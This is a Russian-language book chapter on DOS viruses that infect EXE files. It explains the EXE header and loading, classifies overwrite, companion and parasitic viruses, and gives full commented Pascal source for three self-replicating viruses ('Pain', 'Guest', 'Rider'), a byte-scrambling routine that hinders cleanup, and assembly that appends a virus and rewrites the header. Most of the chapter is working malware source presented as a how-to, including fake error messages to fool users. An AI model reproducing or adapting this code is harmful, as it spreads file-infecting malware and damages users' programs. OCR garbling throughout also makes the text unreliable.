Exe-вирусы

ЕХЕ-ВИРУСЫ

В этой главе рассказано о ви-
русах, заражающих ЕХЕ-фай-
лы. Приведена классифика-
ция таких вирусов, подробно
рассмотрены алгоритмы их
работы, отличия между
ними, достоинства и недо-
статки. Для каждого типа
вирусов представлены исход-
ные тексты с подробными
комментариями. Также приве- .
дены основные сведения
о структуре и принципах ра-
боты ЕХЕ-программы. 



СОМ-файлы (небольшие программы, написанные в основном на языке
Assembler) медленно, но верно устаревают. Им на смену приходят пуга-
ющие своими размерами ЕХЕ-"монстры". Появились и вирусы, умею-
щие заражать ЕХЕ-файлы. 

Структура и процесс загрузки ЕХЕ-программы 

В отличие от СОМ-программ, ЕХЕ-программы могут состоять из не-
скольких сегментов (кодов, данных, стека). Они могут занимать боль-
ше 64Кбайт. 

ЕХЕ-файл имеет заголовок, который используется при его загрузке.
Заголовок состоит из форматированной части, содержащей сигнатуру
и данные, необходимые для загрузки ЕХЕ-файла, и таблицы для на-
стройки адресов (Relocation Table). Таблица состоит из значений в фор-
мате сегмент:смещение. К смещениям в загрузочном модуле, на которые
указывают значения в таблице, после загрузки программы в память дол-
жен быть прибавлен сегментный адрес, с которого загружена программа. 

При запуске ЕХЕ-программы системным загрузчиком (вызовом функ-
ции DOS 4Bh) выполняются следующие действия: 

1. Определяется сегментный адрес свободного участка памяти, размер
которого достаточен для размещения программы. 

2. Создается и заполняется блок памяти для переменных среды. 

3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP; 

сегмент+ООЮЬЮОООЬ - программа). В поля PSP заносятся соответ-
ствующие значения. 

4. Адрес DTA устанавливается равным PSP:0080h. 

5. В рабочую область загрузчика считывается форматированная часть
заголовка ЕХЕ-файла. 

6. Вычисляется длина загрузочного модуля по формуле: 

Si7.e=((PageCnt*5i2)-(HdrSae*i6))-Pa!tP3ig. 

7. Определяется смещение загрузочного модуля в файле, равное
HdrSize*16. 

8. Вычисляется сегментный адрес (START_SEG) для загрузки -
обычно это PSP+lOh. 

9. Считывается в память загрузочный модуль (начиная с адреса
START_SEG:0000). 



10. Для каждого входа таблицы настройки: 

a) читаются слова I_OFF и I_SEG; 

b) вычисляется RELC^SEG-START^SEG+LSEG; 

c) читается слово по адресу RELO_SEG:I_OFF; 

d) к прочитанному слову прибавляется START_SEG; 

e) результат запоминается по тому же адресу (RELO_SEG:I_OFF). 

11. Распределяется память для программы в соответствии с МахМет
и МтМет. 

12. Инициализируются регистры, выполняется программа: 

a) ES=DS°PSP; 

b) АХ=результат проверки правильности идентификаторов драйве-
ров, указанных в командной строке; 

c) SS°START_SEG+ReloSS, SP-ExeSP; 

d) CS=START_SEG+ReloCS, IP=ExeIP. 

Классификация ЕХЕ-вирусов 

ЕХЕ-вирусы условно можно разделить на группы, используя в качестве
признака для деления особенности алгоритма. 

Вирусы, замещающие программный код (Overwrite) 

Такие вирусы уже стали раритетом. Главный их недостаток - слишком
грубая работа. Инфицированные программы не исполняются, так как
вирус записывается поверх программного кода, не сохраняя его. При
запуске вирус ищет очередную жертву (или жертвы), открывает найден-
ный файл для редактирования и записывает свое тело в начало про-
граммы, не сохраняя оригинальный код. Инфицированные этими виру-
сами программы лечению не подлежат. 

Вирусы-спутники (Companion) 

Эти вирусы получили свое название из-за алгоритма размножения: 

к каждому инфицированному файлу создается файл-спутник. Рассмот-
рим более подробно два типа вирусов этой группы: 

Вирусы первого типа размножается следующим образом. Для каждого ин-
фицируемого ЕХЕ-файла в том же каталоге создается файл с вирусным 



кодом, имеющий такое же имя, что и ЕХЕ-файл, но с расширением
СОМ. Вирус активируется, если при запуске программы в командной
строке указано только имя исполняемого файла. Дело в том, что, если
не указано расширение файла, DOS сначала ищет в текущем каталоге
файл с заданным именем и расширением СОМ. Если СОМ-файл с та-
ким именем не найден, ведется поиск одноименного ЕХЕ-файла. Если
не найден и ЕХЕ-файл, DOS попробует обнаружить ВАТ (пакетный)
файл. В случае отсутствия в текущем каталоге исполняемого файла
с указанным именем поиск ведется во всех каталогах, доступных
по переменной PATH. Другими словами, когда пользователь хочет за-
пустить программу и набирает в командной строке только ее имя
(в основном так все и делают), первым управление получает вирус,
код которого находится в СОМ-файле. Он создает СОМ-файл еще
к одному или нескольким ЕХЕ-файлам (распространяется), а затем
исполняет ЕХЕ-файл с указанным в командной строке именем. Поль-
зователь же думает, что работает только запущенная ЕХЕ-программа.
Вирус-спутник обезвредить довольно просто - достаточно удалить
СОМ-файл. 

Вирусы второго типа действуют более тонко. Имя инфицируемого
ЕХЕ-файла остается прежним, а расширение заменяется каким-либо
другим, отличным от исполняемого (СОМ, ЕХЕ и ВАТ), Например,
файл может получить расширение DAT (файл данных) или OVL (про-
граммный оверлей). Затем на место ЕХЕ-файла копируется вирусный
код. При запуске такой инфицированной программы управление полу-
чает вирусный код, находящийся в ЕХЕ-файле. Инфицировав еще один
или несколько ЕХЕ-файлов таким же образом, вирус возвращает ориги-
нальному файлу исполняемое расширение (но не ЁХЕ, а СОМ, по-
скольку ЕХЕ-файл с таким именем занят вирусом), после чего испол-
няет его. Когда работа инфицированной программы закончена, ее
запускаемому файлу возвращается расширение неисполняемого. Лече-
ние файлов, зараженных вирусом этого типа, может быть затруднено,
если вирус-спутник шифрует часть или все тело инфицируемого файла,
а перед исполнением его расшифровывает. 

Вирусы, внедряющиеся в программу (Parasitic) 

Вирусы этого вида самые незаметные: их код записывается в инфици-
руемую программу, что существенно затрудняет лечение зараженных
файлов. Рассмотрим методы внедрения ЕХЕ-вирусов в ЕХЕ-файл. 



Способы заражения ЕХЕ-файлов 

Самый распространенный способ заражения ЕХЕ-файлов такой: в конец
файла дописывается тело вируса, а заголовок корректируется (с сохране-
нием оригинального) так, чтобы при запуске инфицированного файла
управление получал вирус. Похоже на заражение СОМ-файлов, но вмес-
то задания в коде перехода в начало вируса корректируется собственно
адрес точки запуска программы. После окончания работы вирус берет из
сохраненного заголовка оригинальный адрес запуска программы, прибав-
ляет к его сегментной компоненте значение регистра DS или ES (полу-
ченное при старте вируса) и передает управление на полученный адрес. 

Следующий способ - внедрение вируса в начало файла со сдвигом кода
программы. Механизм заражения такой: тело инфицируемой программы
считывается в память, на ее место записывается вирусный код, а после
него - код инфицируемой программы. Таким образом, код программы
как бы "сдвигается" в файле на длину кода вируса. Отсюда и название
способа - "способ сдвига". При запуске инфицированного файла вирус
заражает еще один или несколько файлов. После этого он считывает
в память код программы, записывает его в специально созданный на
диске временный файл с расширением исполняемого файла (СОМ или
ЕХЕ), и затем исполняет этот файл. Когда программа закончила рабо-
ту, временный файл удаляется. Если при создании вируса не применя-
лось дополнительных приемов защиты, то вылечить инфицированный
файл очень просто - достаточно удалить код вируса в начале файла,
и программа снова будет работоспособной. Недостаток этого метода
в том, что приходится считывать в память весь код инфицируемой про-
граммы (а ведь бывают экземпляры размером больше 1Мбайт). 

Следующий способ заражения файлов - метод переноса - по всей ви-
димости, является самым совершенным из всех перечисленных. Вирус
размножается следующим образом: при запуске инфицированной про-
граммы тело вируса из нее считывается в память. Затем ведется поиск
неинфицированной программы. В память считывается ее начало,
по длине равное телу вируса. На это место записывается тело вируса.
Начало программы из памяти дописывается в конец файла. Отсюда на-
звание метода - "метод переноса". После того, как вирус инфицировал
один или несколько файлов, он приступает к исполнению программы,
из которой запустился. Для этого он считывает начало инфицирован-
ной программы, сохраненное в конце файла, и записывает его в начало 

файла, восстанавливая работоспособность программы. Затем вирус уда-
ляет код начала программы из конца файла, восстанавливая оригиналь-
ную длину файла, и исполняет программу. После завершения програм-
мы вирус вновь записывает свой код в начало файла, а оригинальное
начало программы - в конец. Этим методом могут быть инфицированы
даже антивирусы, которые проверяют свой код на целостность, так как
запускаемая вирусом программа имеет в точности такой же код, как и до инфицирования. 

Вирусы, замещающие программный код
(Overwrite) 

Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появ-
ляются еще такие вирусы, созданные на языке Assembler, но это, скорее,
соревнование в написании самого маленького overwrite-вируса. На дан-
ный момент самый маленький из известных overwrite-вирусов написан
Reminder'ом (Death Virii Crew group) и занимает 22 байта. 

Алгоритм работы overwrite-вируса следующий: 

1. Открыть файл, из которого вирус получил управление. 

2. Считать в буфер код вируса. 

3. Закрыть файл. 

4. Искать по маске подходящий для заражения файл. 

5. Если файлов больше не найдено, перейти к пункту 11. 

6. Открыть найденный файл. 

7. Проверить, не заражен ли найденный файл этим вирусом. 

8. Если файл заражен, перейти к пункту 10. 

9. Записать в начало файла код вируса. 

10. Закрыть файл (по желанию можно заразить от одного до всех фай-
лов в каталоге или на диске). 

11. Выдать на экран какое-либо сообщение об ошибке, например
"Abnormal program termination" или "Not enough memory", - пусть
пользователь не слишком удивляется тому, что программа не запу-
стилась. 

12. Завершить программу. 



Ниже приведен листинг программы, заражающей файлы таким
способом. 

{$М 2048, 0, 0} 

{$А-} 

{$В-} 

{$D-} 

{$Е+} 

($F-) 

($G-} 

($!-} 

{$L-} 

{$N-} 

{$S-} / 

{$V-} 

{$X+} 

{Используются модули DOS и System (модуль System автоматически 

подключается к каждой программе при компиляции)}
Uses DOS; 

Const 

(Имя вируса}
VirName='Pain'; 

{Строка для проверки на повторное заражение. 

Она дописывается в заражаемый файл сразу после кода вируса} 

VirLabel: String[5]='Pain!1; 

{Длина получаемого при компиляции ЕХЕ-файла}
VirLen=4208; 

Author='Dirty Nazi/SGWW.'; 

{Количество заражаемых за один сеанс работы файлов}
lnfCount=2; 

Var 

{Массив для определения наличия копии вируса в найденном файле}
Virldentifier: Array [1.5] of Char; 

{Файловая переменная для работы с файлами}
VirBody: File; 



(Еще одна файловая переменная - хотя без нее можно было
обойтись, так будет понятнее)
Target: File; 

{Для имени найденного файла)
TargetFile: PathStr; 

(Буфер для тела вируса)
VirBuf : Array [-I.VirLen] of Char; 

(Для даты/времени файла)
Time : Longint; 

(Счетчик количества инфицированных файлов)
InfFiles : Byte; 

Dirlnfo : SearchRec; 

LabelBuf : Array [1.5] of Char; 

(Инициализация)
procedure Init; 

begin
LabelBuf [1]:=VirLabel[1]; 

LabelBuf[2]:=VirLabel[2]; 

LabelBuf[3]:=VirLabel[3],
LabelBuf[4]:=VirLabel[4]; 

LabelBuf[5]:=VirLabel[5]; 

(Обнуляем счетчик количества инфицированных файлов}
lnfFiles:=0; 

(Связываем файловую переменную VirBody с именем программы.
из которой стартовали)
Assign(VirBody, ParamStr(O)); 

(Открываем файл с recsize=1 байту)
Reset(VirBody, 1); 

(Считываем из файла тело вируса в массив VirBuf}
BlockRead(VirBody VirBuf, VirLen); 



(Закрываем файл)
Close(VirBody); 

end; 

(Поиск жертвы}
procedure FindTarget; 

Var
Sr: SearchRec; 

(Функция возвращает True, если найденная 

программа уже заражена, и False, если еще нет}
function VirusPresent: Boolean; 

begin 

(Пока будем считать, что вируса нет}
VirusPresent:=False; 

(Открываем найденный файл}
Assign(Target, TargetFile); 

Reset(Target, 1); 

(Перемещаемся на длину тела вируса от начала файла}
Seek(Target, VirLen); 

(Считываем 5 байт - если файл уже заражен,
там находится метка вируса}
BlockRead(Target, Virldentifier, 5); 

If Virldentifier=Virl_abel Then 

{Если метка есть, значит есть и вирус}
VirusPresent:=True; 

end; 

(Процедура заражения}
procedure InfectFile; 

begin 

{Если размер найденного файла меньше, чем длина вируса
плюс 100 байт, то выходим из процедуры}
If Sr.Size < VirLen+100 Then Exit; 



{Если найденная программа еще не заражена, инфицируем ее}
If Not VirusPresent Then
begin 

{Запомним дату и время файла. Атрибуты запоминать не надо,
так как поиск ведется среди файлов с атрибутом Archive, а этот
атрибут устанавливается на файл после сохранения в любом случае}
Time:=Sr.Time; 

{Открываем для заражения}
Assign(Target, TargetFile); 

Reset(Target, 1); 

{Записывам тело вируса в начало файла}
BlockWrite(Target, VirBuf, VirLen); 

{Перемещаем указатель текущей позиции
на длину вируса от начала файла}
Seek(Target, VirLen); 

{Вписываем метку заражения}
BlockWrite(Target, LabelBuf, 5); 

{Устанавливаем дату и время файла}
SetFTime(Target, Time); 

{Закрываем}
Close(Target); 

{Увеличиваем счетчик инфицированных файлов}
Inc(lnfFiles); 

end; 

end; 

{Начало процедуры FindTarget}
begin 

{Ищем в текущем каталоге файлы по маске *.ЕХЕ
с атрибутами Archive}
FindFirstF.EXE', Archive, Sr); 



{Пока есть файлы для заражения} 

While DosError=0 Do 

begin 

If Sr.Name=" Then Exit; 

(Запоминаем имя найденного файла в переменную TargetFile}
TargetFile:=Sr.Name; 

{Вызываем процедуру заражения}
InfectFile; 

{Если заразили InfCount файлов, завершаем поиск}
If InfFiles > InfCount Then Exit; 

{Ищем следующий файл по маске}
FindNext(Sr); 

end; 

end; 

{Основное тело}
begin 

(Инициализируемся}
hit; 

{Ищем жертвы и заражаем их}
FindTarget; 

{Выдаем на экран сообщение об ошибке}
WriteLn('Abnormal program termination.'); 

{Это чтобы компилятор вставил в код константы VirName
и Author, условие же поставлено таким образом,
что эти строки никогда не будут выведены на экран}
If 2=3 Then
begin
WriteLn(VirName); 

WriteLn(Author); 

end; 

end. 



Вирусы-спутники (Companion) 

Вирусы-спутники сейчас широко распространены - соотношение
companion и parasitic вирусов примерно один к двум. 

Инфицирование методом создания СОМ-файла спутника 

Смысл этого метода - не трогая "чужого кота" (ЕХЕ-программу), со-
здать "своего" - СОМ-файл с именем ЕХЕ-программы. Алгоритм рабо-
ты такого вируса предельно прост, так как отпадает необходимость
лишних действий (например, сохранения в теле вируса длины откомпи-
лированного ЕХЕ-файла с вирусным кодом, считывания в буфер тела
вируса, запуска файла, из которого вирус получил управление). Неза-
чем даже хранить метку для определения инфицирования файла. 

Заражение производится с помощью командного процессора: 

1. Если в командной строке указаны параметры, сохранить их в пере-
менную типа String для передачи инфицированной программе. 

2. Найти ЕХЕ-файл-жертву. 

3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай-
лом СОМ-файл с таким же именем, как у файла-жертвы. 

4. Если такой СОМ-файл присутствует, файл уже заражен, переходим
к пункту 6. 

5. С помощью командного процессора скопировать файл, из которого
получено управление, в файл с именем жертвы и расширением СОМ. 

6. Процедурой Ехес загрузить и выполнить файл с именем стартового, но
с расширением ЕХЕ - то есть выполнить инфицированную программу. 

7. Вернуть управление в DOS. 

Приведенный ниже листинг показывает заражение файлов этим
методом. 

($М 2048, 0, 0}
f$A-}
<$В-"
($D-}
<$Е+1
{$F-}
{$G-} 

{$!-} 



f$L-(
{$N-)
{$S-}
<$V-}
{$X+} 

(Используются модули DOS и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses DOS; 

Const 

{Имя вируса)
VirName='Guesf; 

Author='Dirty Nazi/SGWW. 4 PVT only!'; 

{Количество зараженных за один сеанс работы файлов}
lnfCount=2; 

Var 

{Для имени найденного файла)
TargetFile : PathStr; 

{Для создания копии}
TargetCOM : PathStr; 

(Счетчик количества заражений}
InfFiles : Byte; 

Dirlnfo : SearchRec; 

{Для сохранения параметров командной строки}
Parms : String; 

(Для цикла For}
I: Byte; 

(Поиск жертв}
procedure FindTarget; 

Var
Sr : SearchRec; 



{Функция возвращает True, если найденная программа уже заражена,
и False, если еще нет}
function VirusPresent: Boolean; 

Var 

Target : File; 

begin 

{Пока будем считать, что вируса здесь нет}
VirusPresent:=False; 

{Пытаемся открыть файл с именем найденной программы,
но с расширением СОМ}
AssignHarget, TargetCOM); 

ResetHarget, 1); 

{Если не было ошибок при открытии,
программа уже инфицирована этим вирусом}
If IOResult=0 Then
begin
VirusPresent:=True; 

{Открыли - закроем}
Close(Target); 

end; 

end; 

{Собственно процедура заражения}
procedure InfectFile; 

begin 

{Если найденная программа еще не заражена, инфицируем ее}
If Not VirusPresent Then
begin 

{С помощью командного процессора
копируем вирусный код в СОМ-файл}
Swap Vectors; 

Exec(GetEnv('COMSPEC'),7C COPY /B '+ParamStr(0)+'
'+TargetCOM+' >NUL'); 

Swap Vectors; 



(Увеличиваем на единицу счетчик инфицированных файлов}
Inc(lnfFiles); 

end; 

end; 

begin {начало процедуры FindTarget} 

(Ищем в текущем каталоге файлы по маске *.ЕХЕ
с атрибутами Archive}
FindFirstF.EXE', Archive, Sr); 

{Пока есть файлы для заражения} 

While DosError=0 Do 

begin 

If Sr.Name=" Then Exit; 

{Запоминаем имя найденного файла в переменную TargetFile}
TargetFile:=Sr.Name; 

TargetCOM:=Copy(TargetFile,1,Length(TargetFile)-4)+'.COM'; 

{Вызываем процедуру заражения}
InfectFile; 

{Если заразили InfCount файлов, завершаем поиск}
If InfFiles > InfCount Then Exit; 

{Ищем следующий файл по маске}
FindNext(Sr); 

end; 

end; 

{Основное тело}
begin
Parms:=' '; 

{Запоминаем параметры командной строки}
If ParamCount <> 0 Then
For l:=1 To ParamCount Do
Parms:=Parms+' '+ParamStr(l); 

{Ищем жертвы и заражаем их}
FindTarget; 



TargetFile:=Copy(ParamStr(0), 1 ,Length(ParamStr(0))-4)+'.EXE'; 

(Ищем файл с именем стартового файла, но с расширением ЕХЕ}
FindFirst(TargetFile, AnyRle, Dirlnfo); 

{Если такой файл найден, запускаем его на выполнение)
If DosError=0 Then
begin
Swap Vectors; 

Exec(GetEnv('COMSPEC'),7C '+TargetFile+Parms); 

Swap Vectors; 

end Else 

{Если файл не найден, выходим,
не внося в программу изменений)
begin
WriteLn(#13#10, VirName, ' by '.Author); 

WriteLnCKaKoe-нибудь сообщение'); 

end; 

end. 

Инфицирование методом переименования ЕХЕ-файла 

Отличий в алгоритмах работы этих вирусов и их "коллег", создающих
файл-спутник, не так уж много. Но, по всей видимости, заражение ме-
тодом переименования несколько совершеннее - для излечения от ви-
руса нужно не просто удалить СОМ-файл с кодом вируса, а немного
помучаться и разыскать, во что же переименован ЕХЕ-файл с инфици-
рованной программой. 

1. Если в командной строке указаны параметры, сохранить их в пере-
менную типа String для передачи инфицированной программе. 

2. Найти ЕХЕ-файл-жертву. 

3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай-
лом-жертвой файл с таким же именем и с расширением, которое
выбрано для инфицированной программы (например, OVL - про-
граммный оверлей). 

4. Если такой файл присутствует, программа уже инфицирована - пе-
реходим к пункту 7. 

5. Переименовать найденный файл-жертву (ЕХЕ) в файл с таким же име-
нем, но с расширением, выбранным для инфицированной программы. 



6. С помощью командного процессора скопировать файл, из которого по-
лучено управление, в файл с именем жертвы и расширением жертвы. 

7. Найти в каталоге, из которого получено управление, файл с именем
стартовой программы, но с расширением, выбранным для инфици-
рованной - это и будет зараженная программа, которую в данный
момент необходимо запустить на исполнение. 

8. Если такой файл не найден, переходим к пункту 12. 

9. Изменить расширение найденного файла на СОМ (ни в коем случае не
на ЕХЕ, ведь в ЕХЕ-файле с таким именем находится вирусный код!). 

10. Процедурой Ехес загрузить и выполнить переименованный файл -
то есть выполнить инфицированную программу. 

11. Вернуть СОМ-файлу с инфицированной программой выбранное
расширение, то есть превратить его опять в неисполняемый. 

12. Вернуть управление в DOS. 

Несколько слов о вирусе, листинг которого приведен ниже. Вирус Rider
написан очень просто и доступно. За сеанс работы он заражает один
ЕХЕ-файл в текущем каталоге. Сам процесс заражения также весьма
прост: файл-жертва переписывается в файл с расширением OVL (овер-
лейный файл), а на его место с помощью командного процессора копи-
руется вирусный код. При запуске происходит заражение только что
найденного ЕХЕ-файла, затем вирусный код переименовывается
в OWL, a OVL - в ЕХЕ, после чего оригинал запускается на исполне-
ние. Когда оригинал отработал, происходит переименование в обратном
порядке. С защищенного от записи диска программа не запустится, она
выдаст сообщение, что диск защищен от записи. 

В представленном здесь виде вирус легко обезвредить, достаточно про-
сто переименовать OVL-файл обратно в ЕХЕ. Но, чтобы усложнить ле-
чение, в вирусе может быть использован такой прием: 

procedure MakeNot; 

Var 

Buf10: Array [1.10] of Byte; 

Cicle: Byte; 

begin
Seek(Prog, 0); 

Reset(Prog); 



BlockRead(Prog, Buf10, 10); 

For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle]; 

Seek(Prog, 0); 

BlockWrite(Prog, Buf10, 10); 

Close(Prog); 

end; 

При использовании этой процедуры надо учитывать, что заражаемая
и запускаемая на исполнение программа должна быть связана с пере-
менной Prog типа File, описанной в основном модуле. Суть процедуры
состоит в том, что из заражаемой программы считываются 10 байт и ко-
дируются операцией Not. ЕХЕ-программа становится неработоспособ-
ной. Запускать эту процедуру нужно не только перед прогоном ориги-
нала, но и после него. 

{ Name Rider } 

{ Version 1.0 } 

{ Stealth No } 

{ Tsr No } 

{ Danger 0 } 

{ Attac speed Slow } 

{ Effects No } 

{ Length 4000 } 

{ Language Pascal } 

{ BodyStatus Packed } 

{ Packer Pklite } 

($M 2048, 0, 0} { Stack 1024b, Low Heap Limit Ob,
High Heap Limit Ob } 

{Используются модули DOS и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses DOS; 

Const
Fail='Cannot execute '^13#10'Disk is write-protected'; 

{Расширения файлов, которые будем использовать}
Ovr='.OWL'; 

Ovl='.OVL'; 

Ехе=.ЕХЕ'; 



Var
Dirlnfo : SearchRec; 

Sr : SearchRec; 

Ch : Char; 

I : Byte; 

OurName : PathStr; 

OurProg : PathStr; 

Ren : File; 

CmdLine : ComStr; 

Victim : PathStr; 

VictimName : PathStr; 

(Процедура для проверки диска на Read Only)
procedure CheckRO; 

begin
Assign(Ren, #$FF); 

ReWrite(Ren); 

Erase(Ren); 

If lOResult <> 0 Then 

{Если диск защищен от записи, то ответ 'Access denied'} 

begin 

WriteLn(Fail); 

Halt(5); 

end; 

end; 

(Процедура прогонки оригинала}
procedure ExecReal; 

begin 

{Находим оригинал}
FindFirst(OurName+Ovl, AnyFile, Dirlnfo); 

If DosError <> 0 Then 

(Если не нашли} 

begin 

WriteLn('Virus RIDER. Let's go on riding!'); 

WriteLn('l beg your pardon, your infected file cannot be executed.'); 



(Выход с DosError=<t>ann не найден)
Halt(18); 

end; 

{Переименовываем программу в OVL}
Assign(Ren, OurName+Exe); 

ReName(Ren, OurName+Ovr); 

{Переименовываем оверлей в ЕХЕ}
Assign(Ren, OurName+Ovl); 

ReName(Ren, OurName+Exe); 

(И запускаем его}
Swap Vectors; 

Exec(GetEnv('COMSPEC'), 7C '+OurName+Exe+CmdLine); 

Swap Vectors; 

{А теперь возвращаем все на место)
Assign(Ren, OurName+Exe); 

ReName(Ren, OurName+Ovl); 

Assign(Ren, OurName+Ovr); 

ReName(Ren, OurName+Exe); 

end; 

(Процедура заражения}
procedure Infect; 

begin 

{Переименовываем жертву в OVL}
Assign(Ren, Victim); 

ReName(Ren, VictimName+Ovl); 

{Копируем тело вируса на место жертвы}
SwapVectors; 

Exec(GetEnv('COMSPEC'), '/С COPY '+OurProg+' '+Victim+' >NUL'); 

SwapVectors; 

end; 

{Процедура поиска жертвы}
procedure FindFile; 

begin 



{В текущем каталоге ищем ЕХЕ-файл}
FindFirst('*EXE', AnyFile, Dirlnfo); 

If DosError=0 Then 

{И если он найден}
begin 

{Запоминаем имя жертвы}
Victim:=Dirlnfo.Name; 

{Запоминаем имя без расширения}
VictimName:=Copy(Victim, 1, Length(Victim)-4); 

{Ищем оверлей с тем же именем}
FindFirst(VictimName+Ovl, AnyFile, Sr); 

If DosError <> 0 Then Infect; 

end; 

end; 

{Процедура инициализации переменных}
procedure I nit; 

begin 

(Командная строка}
CmdLine:="; 

{Полное имя нашей программы}
OurProg:=ParamStr(0); 

{Имя нашей программы без расширения}
OurName:=Copy(ParamStr(0), 1, Length(ParamStr(0))-4); 

For l:=1 To ParamCount Do
begin 

{Запоминаем параметры}
CmdLine:=ParamStr(l)+' '; 

end; 

end; 



{Основная подпрограмма}
begin 

{А эту табличку запишем в код для тех, 

кто распакует вирус и начнет в нем копаться} 

If False Then 

begin 

WriteLn(#13#10 ' '); 

end; 

{Инициализируемся}
Init; 

(Проверка диска на R/О}
CheckRO; 

{Ищем и заражаем}
FindFile; 

{Загружаем оверлей}
ExecReal; 

end. 

Вирусы, внедряющиеся в программу (Parasitic) 

Эти вирусы являются самыми "хитрыми". Поскольку такой вирус вне-
дряется в инфицируемую программу, это дает ему много преимуществ
перед всеми вышеописанными вирусами: на диске не появляются лиш-
ние файлы, нет забот с копированием и переименованием, кроме того,
усложняется лечение инфицированных файлов. 

Стандартное заражение ЕХЕ-файлов 

Стандартное заражение - заражение, при котором вирус внедряется
в конец файла, изменяя заголовок так, чтобы после загрузки файла уп-
равление получил вирус. Принципиально действие такого вируса мало
отличается от действия рассмотренного СОМ-вируса. Чтобы выяснить
способы работы с ЕХЕ-файлами, рассмотрим следующий фрагмент про-
граммы: 

;Читаем заголовок ЕХЕ-файла (точнее, только первые 18h байт,
;которых вполне достаточно) 



ReadHeader: 

mov ah,3Fh 

mov dx,offset EXEHeader
mov cx,0018h
int 21 h 

Останавливаем в SI адрес считанного заголовка. В дальнейшем
;будем обращаться к заголовку, используя Sl+смещение элемента
mov si,offset EXEHeader 

[Получаем реальную длину файла, переместив указатель текущей
;позиции чтения/записи в конец файла
GetRealFSize: 

mov ax,4202h 

mov bx.Handle 

xor ex,ex 

xor dx.dx 

int 21 h 

;Сохраним полученную длину файла
mov Reallen.dx
mov Reallen+2,ax 

;Так как речь идет о стандартной процедуре заражения, нужно
;помнить, что все вышесказанное не должно затрагивать
оверлейные файлы. Их длина, указанная в заголовке,
.-меньше реальной, то есть эти файлы загружаются
;в память не полностью. 

Следовательно, если заразить такой файл, вирус попадет
;в незагружаемую часть.
Сохраним в стеке реальную длину ЕХЕ-файла 

push dx 

push ax 

рассчитаем размер ЕХЕ-файла в 512-байтных страницах и остаток
CompareOVL 

mov cx,0200h 

div ex 

;Ha данный момент в регистре АХ находится число страниц
;(в каждой странице содержится 512 байт),
;а в регистре DX - остаток, образующий 



;еще одну (неучтенную) страницу.
.Добавим эту страницу к общему числу страниц -
;если остаток не равен нулю, то
.увеличим число страниц 

or dx.dx 

jz m1 

inc ax
m1: 

.Будем считать пригодным для заражения
.стандартным способом файлы с длиной,
;полностью совпадающей с указанной в заголовке 

cmp ax,[si+PartPag] 

jne ExitProc 

cmp dx,[si+PageCnt] 

jne ExitProc 

;Чтобы вирус смог вернуть управление
;зараженной программе, сохраним поля ReloSS,
;ExeSP, ReloCS, ExelP из заголовка ЕХЕ-файла.
.Значения констант, используемых в программе,
.равны смещению соответствующего
;элемента в заголовке ЕХЕ-файла (Приложение А)
InitRetVars: 

mov ax,[si+ReloSS] 

mov oldss.ax 

mov ax,[si+ExeSP] 

mov oldsp.ax 

mov ax,[si+ReloCS] 

mov oldcs.ax 

mov ax,[si+Exe!P] 

mov oldip.ax 

.Восстановим из стека реальную длину файла
;В данном случае она совпадает с длиной, указанной в заголовке 

pop ax 

pop dx 

.Рассчитаем длину программы с вирусом, для чего прибавим
;к длине файла длину тела вируса 

add ax,VIRSIZE ;VIRSIZE - длина тела вируса 

adc dx.0 



рассчитаем получившуюся длину (одна страница - 512 байт)
;и остаток в последней странице (так же,
;как рассчитывали длину файла без вируса) 

mov cx,0200h 

div ex 

or dx.dx 

jz newJen 

inc ax
NewJen: 

;Внесем в заголовок новую длину файла
mov [si+PageCnt],ax
mov [si+PartPag],dx 

;Прочитаем реальную длину файла.
;По ней будем рассчитывать новую
;точку входа в программу (адрес запуска)
Eval_new_entry: 

mov dx.Reallen+2 

mov ax.Reallen 

; Рассчитаем новую точку входа. 

.Точка входа в вирус должна находиться 

;в начале его тела. Другими словами, нужно к длине файла 

.прибавить смещение точки входа. 

;Разделим длину на размер параграфа (10h) 

mov cx,10h 

div ex 

Получили число параграфов (AX) и остаток (DX - смещение
;вируса в последнем параграфе).
;0тнимем от числа параграфов в файле число
.параграфов в заголовке - получим сегмент входа в ЕХЕ-файл
sub ax,[si+HdrSize] 

;3апишем новую точку входа в заголовок
mov [si+ReloCS],ax
mov [si+ExelP],dx 

.Замечание: можно было округлить полученное число,
;и вирус начинался бы с OOOOh.
;Но этого делать не стоит. 



,-Естественно, все обращения к данным в этом вирусе 

должны быть нефиксированными, как и в любом другом вирусе. 

;Вместо "mov ax,ANYDATA" придется делать так: 

; mov si.VIRSTART 

; mov ax,[si+offset ANYDATA] 

;где offset ANYDATA - смещение относительно начала тела вируса 

;Стек поставим за тело вируса - байт на ЮОп. Потом обязательно 

;вернем, иначе можно стереть заготовленные в стеке значения! 

.'Установим сегмент стека такой же, как и кода, 

;а указатель на вершину стека - 

;на 100h байт после тела вируса 

mov [si+ReloSSj.ax 

mov ax.VIRSIZE+IOOh 

mov [si+ExeSP],ax 

;Теперь запишем заголовок в файл, не забыв и тело вируса.
; Рекомендуется писать сначала тело, а потом заголовок.
;Если тело вдруг не допишется,
;то файл испортим зря
UpdateRle: 

;3апишем тело вируса
WriteBody: 

.-Установим указатель чтения/записи в конец файла
mov bx,Handle
хог сх,сх
xor dx.dx
mov ax,4202h
int 21 h 

.Запишем тело вируса в файл
mov ah,40h
mov cx.VIRSIZE
mov dx.offset VIRStart
int 21h 

;3апишем заголовок
WriteHeader: 

;Установим указатель чтения/записи в начало файла
mov ax,4200h 



xor ex,ex 

xor dx.dx 

int 21 h 

.Запишем заголовок в файл 

mov cx,0018h 

mov ah,40h 

mov dx.si 

int 21 h 

Итак, вирус "поселился" в ЕХЕ-файле. А как после окончания работы
вируса передать управление инфицированной программе? Вот процеду-
ра выхода из вируса: 

CureEXE: 

StackBack: 

-.Установим первоначальный указатель (сегмент и смещение) стека
mov ax.ds 

-.Прибавим ООЮп, после чего в АХ будет
;находится сегмент, с которого
;загружен программный модуль
add ax,10h 

Прибавим первоначальный сегмент стека 

db @add_ax ;код ADD AX, дальше по аналогии
OldSS dw ? ;это значение было установлено
;при заражении 

;3апретим прерывания, так как со стеком нельзя работать,
;пока и сегмент, и смещение не установлены в нужное значение
cli 

-.Установим сегмент стека (PSP+Wh+OldSS)
mov ss.ax 

